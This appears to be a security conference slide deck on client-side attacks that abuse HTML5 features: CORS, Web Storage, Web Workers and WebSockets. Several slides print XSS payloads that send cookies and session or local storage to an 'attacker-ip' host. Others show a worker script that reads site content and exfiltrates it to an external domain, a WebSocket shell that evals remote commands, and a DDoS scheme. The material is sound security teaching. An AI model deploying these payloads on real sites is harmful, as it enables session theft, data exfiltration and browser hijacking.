A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
Priyanka Aash
 

Building Client-Side Attacks with HTML5 Features

  • 1. Building Client-Side Attacks with <HTML5> features Tiago Ferreira [email protected]
  • 3. ABOUT ME • Almost 4 years working with IT network devices and 5 years with security (MSS, Pentest, VA, etc). • Focus on Web Application vulnerabilities exploitation. • Security analyst at CONVISO Application Security. • Member of the research group Alligator Security Team.
  • 4. A few words about Same Origin Policy • Perhaps the most important security concept within modern browsers. • The policy permits scripts running on pages originating from the same site to access each other‘s. • Prevents access to most methods and properties across pages on different sites. • An origin is defined by the protocol, host/domain, and port of a URL: o http://www.example.com/dir/page.html o https://www.example.com/dir/page2.html o http://www.example.com:8080/dir/page.html o http://en.example.com/dir/other.html • In practice, there is no single same-origin policy: o DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight, etc
  • 5. HTML5 Overview • The Hypertext Markup Language version 5 (HTML5) is the successor of HTML 4.01, XHTML 1.0 and XHTML 1.1. • It brings several new technologies to the browser which have never been, such as: o New DOM interfaces o New forms elements o Enhanced XHR (Level 2) o Web Storage o Web Socket o Web Workers o File API o Many new attributes • HTML5 provides new features to web applications but also introduces new security issues.
  • 6. CORS - (Cross-Origin Resource Sharing)
  • 7. CORS • CORS is a web browser technology that enables client-side API to make cross-origin requests to external resources. • New HTTP header is defined "Access-Control-Allow-Origin" . HTTP/1.1 200 OK Server: Apache Content-Type: text/html Access-Control-Allow-Origin: http://example.com/ • First the UA makes the request to the foreign domain and then checks the access control based on the returned Access-Control- Allow-Origin header. • The decision whether the API (XMLHttpRequest) is allowed to access foreing domains is made in UA.
  • 8. CORS • Potential threats o Information gathering - Response time based intranet scanning o Universal Allow - Bypass access control o Remote attacking a web server - UA can be used to attack another web server o DDoS attacks combined with Web Workers
  • 10. Web Storage • Web Storage gives websites the possibility to store data on the user's browser. The information can be accessed later using JavaScript. • Web storage offers two different storage areas: o Local Storage o Session Storage • Web storage provides far greater storage capacity (depends on browser between 5MB to 10MB). • It is supported by: Internet Explorer 8, Mozilla-based browsers (e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4 (sessionStorage is from 5), Opera 10.50.
  • 11. localStorage • Data placed in local storage is per domain and persists after the browser is closed. • To store value on the browser: o localStorage.setItem(key, value); • To read value stored on the browser; o localStorage.getItem(key); • Security considerations: o Sensitive data can be stolen; o Data can be spoofed; o Persistent attack vectors.
  • 12. sessionStorage • Session storage is per-page-per-window and is limited to the lifetime of the window. • Store value on the browser: o sessionStorage.setItem('key', 'value'); • Read value stored on the browser: o sessionStorage.getItem(key); • Security considerations: o There’s no ‘path’ atribute; o There’s no ‘httpOnly’ atribute; o Session hijacking (xss, session fixation).
  • 13. Attack: Session hijacking using XSS • Old XSS payload to get cookies var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie; • New XSS payload var a=new Image(); a.src=“http://attacker-ip/cookie=“+ sessionStorage.getItem(‘SessionID’);
  • 14. Attack: Session hijacking using XSS DEMO <script> for(var i = 0; i < sessionStorage.length; i++){ var key = sessionStorage.key(i); var a = new Image(); a.src="http://attacker-ip/Storage.html?key=" + key + "&value=" + sessionStorage.getItem(key); } </script>
  • 15. Attack: Stealing HTML5 localStorage DEMO <script> for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://attacker-ip/Storage.html?key=" + key + “ &value=" + localStorage.getItem(key); } </script>
  • 17. Web workers • API for spawning background scripts in web application via JavaScript. o Real OS-level threads and concurrency. o Managed communication through posting messages to background worker. • Web Workers run in an isolated thread. • Workers do NOT have access to: DOM, window, document, and parent objects. • Security validation based in same-origin principle.
  • 18. Spawning a worker http://owasp.org/index.html <script> var worker = new Worker("worker.js"); a worker.onmessage = function(event){ http://owasp.org/worker.js document.getElementById('response„).t self.onmessage = function(event){ extContet = event.data self.postMessage('Hello World'); }; }; worker.postMessage(); </script> … <pre id=“response” value=“ “>
  • 19. Workers – Available features • The location object (read-only). • The navigator object • setTimeout()/clearTimeout() and setInterval()/clearInterval(). • Spawning other web workers. • postMessage() o send data to worker (strings, JSON object, etc). • Event support (addEventListener, dispatchEvent, removeEventLlistener). • importScripts o importScript(‘http://external.com/script.js’). • XMLHttpRequests.
  • 20. Sending data to worker http://owasp.org/index.html <script> var worker = new Worker("worker.js"); http://owasp.org/worker.js worker.onmessage = function(event){ self.onmessage = function(event){ self.postMessage(event); document.getElementById('respo nse„).textContet = event.data; }; }; worker.postMessage(„Hello OWASP Floripa`); </script>
  • 21. Attack: Bypass SOP with importScripts() • Workers makes a natural sandbox for running untrusted code. • Workers can’t access page content. • ImportScripts() permits run thirdy party code in your domain. http://owasp.org/teste.js var sandbox=new Worker(„sandbox.js‟) sandbox.postMessage(„http://external.sit http://owasp.org/sandbox.js e/badguy.js‟); onmessage=function(e){ importScripts(e.data); postMessage(this[„someUnt rustedFunction‟]()); }
  • 22. Attack: Bypass SOP with importScripts() • But workers can run XMLHttpRequests DEMO o Script is running in the domain of the parent page. (http:/owasp.org/teste.js). o Can read any content on your domain. http://external.site/badguy.js var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://owasp.org/index.html', true); xhr.send(); xhr.onreadystatechange = function(remote_data){ if (remote_data.target.readyState == 4){ var remote_data = remote_data.target.responseText; importScripts('http://external.site/remote-page-content=' + remote_data); }; };
  • 23. Attack: DDoS with CORS and Web Workers • Start a WebWorker that would fire multiple Cross Origin Requests at the target. • Thanks CORS that can send GET/POST requests to any website. • Sending a cross domain GET request is nothing new (IMG tag or SCRIPT). • So simply by getting someone to visit a URL you can get them to send 10,000 HTTP requests/minute. • Can be spread with social engineering techniques (malicious URL, XSS vulnerabilities).
  • 24. Attack: DDoS with CORS and Web Workers Target Web Site XSS victims Vulnerable XSS web site DEMO Attacker injects XSS payload
  • 26. Web Sockets • Web Sockets is a web technology that provides bi-directional, full-duplex communications channels over a single TCP connection. • The connection is established by upgrading from the HTTP to the Web Socket protocol. • Web servers are now able to send content to the browser without being solicited by the client, wich allows messages to be passed back and forth while keeping the connection open. • URI Scheme: ws:// and wss:// • Threats that can be exploited: o Remote Shell, Web-Based Botnet, Port scanning
  • 28. Web Sockets – XSS Shell DEMO <script> var connection = new WebSocket('ws://attacker-ip:port'); connection.onopen = function (){ connection.send(„null‟); }; connection.onmessage = function(event){ eval(event.data); }; </script>
  • 29. References • The Websocket Protocol (http://tools.ietf.org/html/rfc6455) • Web Workers (http://www.w3.org/TR/workers/) • Web Storage (http://www.w3.org/TR/webstorage/) • Attack & Defense Labs (http://blog.andlabs.org/) • HTML5 Rocks (http://www.html5rocks.com/). • HTML5 Web Security - Michael Schmidt • The World According to KOTO (http://blog.kotowicz.net/) • Shreeraj's security blog (http://shreeraj.blogspot.in/)